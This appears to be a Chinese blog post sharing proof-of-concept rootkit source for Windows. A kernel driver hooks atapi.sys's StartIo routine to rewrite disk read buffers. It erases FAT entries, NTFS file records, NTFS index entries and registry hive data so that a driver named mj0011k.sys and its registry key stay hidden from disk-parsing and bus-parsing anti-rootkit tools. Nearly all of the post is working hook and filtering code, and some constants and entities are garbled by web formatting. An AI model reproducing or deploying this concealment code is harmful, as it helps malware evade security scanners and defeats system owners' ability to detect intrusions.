[POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析

昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改

只是POC~

文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~

注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~

hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~

目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)

文件隐藏的handler直接照抄了AZY的代码 ^_^


ULONG oldstartio;
PDRIVER_OBJECT atapi_dev ;

VOID unload(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
{
atapi_dev->DriverStartIo = oldstartio ;
return ;
}
CHAR fileHide[] = “MJ0011K”;
CHAR fileExt[] = “SYS”;
WCHAR hideFile[] = L”MJ0011K.SYS”;
typedef struct _INDEX_HEADER{
UCHAR            magic[4];
USHORT            UpdateSequenceOffset;
USHORT            SizeInWords;
LARGE_INTEGER    LogFileSeqNumber;
LARGE_INTEGER    VCN;
ULONG            IndexEntryOffset;    // needed!
ULONG            IndexEntrySize;
ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;

typedef struct _INDEX_ENTRY{
LARGE_INTEGER        MFTReference;
USHORT            Size;                // needed!
USHORT            FileNameOffset;
USHORT            Flags;
USHORT            Padding;
LARGE_INTEGER        MFTReferParent;
LARGE_INTEGER        CreationTime;
LARGE_INTEGER        ModifyTime;
LARGE_INTEGER        FileRecModifyTime;
LARGE_INTEGER        AccessTime;
LARGE_INTEGER        AllocateSize;
LARGE_INTEGER        RealSize;
LARGE_INTEGER        FileFlags;
UCHAR            FileNameLength;
UCHAR            NameSpace;
WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

CHAR NtfsFileRecordHeader[] = “FILE”;
CHAR NtfsIndexRootHeader[] = “INDX”;
#define FILERECORDSIZE 1024
ULONG xxlong = 0×7 ;
WCHAR regname[] = L”MJ0011K”;
VOID HandleRegHide(PVOID buf , ULONG len )
{
ULONG i ;
for (i = 0 ; i < len  ; i ++)
{
if (i + 4 >= len)
{
break ;
}
if (*(ULONG*)((ULONG)buf + i ) == xxlong)
{
if (i + 4 + xxlong * sizeof(WCHAR) >= len)
{
break ;
}

if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
{
RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
*(ULONG*)((ULONG)buf +i ) = 0 ;
break ;
}
}
}
return ;
}
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;

bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
{

for(i = 0; i < BufLen/0×20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0×8), fileExt, 3))
{

*(PUCHAR)UserBuf        = 0xe5;
*(PULONG)((ULONG)UserBuf + 0×1)    = 0;

break;

}

UserBuf = (PVOID)((ULONG)UserBuf + 0×20);

}

} else if(bIsNtfsFile) {

//DbgPrint(“FILE0…”);

for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0×4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}

UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);

}
&nbs
p;
} else if(bIsNtfsIndex) {

//DbgPrint(“INDX…”);
// Index Entries

offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0×18;
indexSize = BufLen – offset;
currPosition = 0;

currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(” — offset: 0x%x indexSize: 0x%x”, offset, indexSize);

while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);

if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}

preIndxEntry->Size += currIndxEntry->Size;

break;
}

currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);

}
}
}

VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
PIO_STACK_LOCATION irp_stack ;

irp_stack = IoGetCurrentIrpStackLocation(Irp);

if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
(irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
irp_stack->Parameters.Scsi.Srb->DataBuffer &&
irp_stack->Parameters.Scsi.Srb->DataTransferLength
)

{
PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
ULONG i ;
PMDL mdl = Irp->MdlAddress ;

KDMSG((“disk device bus read request!lba = %08x , len = %08x\n”,
irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
irp_stack->Parameters.Scsi.Srb->DataTransferLength));

__asm
{
push    Irp
push    DeviceObject
call    oldstartio
}


buf = MmGetSystemAddressForMdl(mdl );

HandleAkDiskHide(buf , len );
HandleRegHide(buf , len);
return ;

}
__asm
{
push    Irp
push    DeviceObject
call    oldstartio
}

return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
UNICODE_STRING uniname ;
NTSTATUS stat ;

drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;

RtlInitUnicodeString(&uniname , L”\\Driver\\Atapi”);

stat = ObReferenceObjectByName(&uniname ,
OBJ_CASE_INSENSITIVE ,
NULL ,
0,
*IoDriverObjectType ,
KernelMode ,
NULL ,
(PVOID*)&atapi_dev);

if (!NT_SUCCESS(stat))
{
KDMSG((“get atapi drvobj failed , stat = %08x\n” , stat));
return stat ;
}

oldstartio = atapi_dev->DriverStartIo ;
atapi_dev->DriverStartIo = mystartio;

return STATUS_SUCCESS ;
}

随机日志


    Post a Comment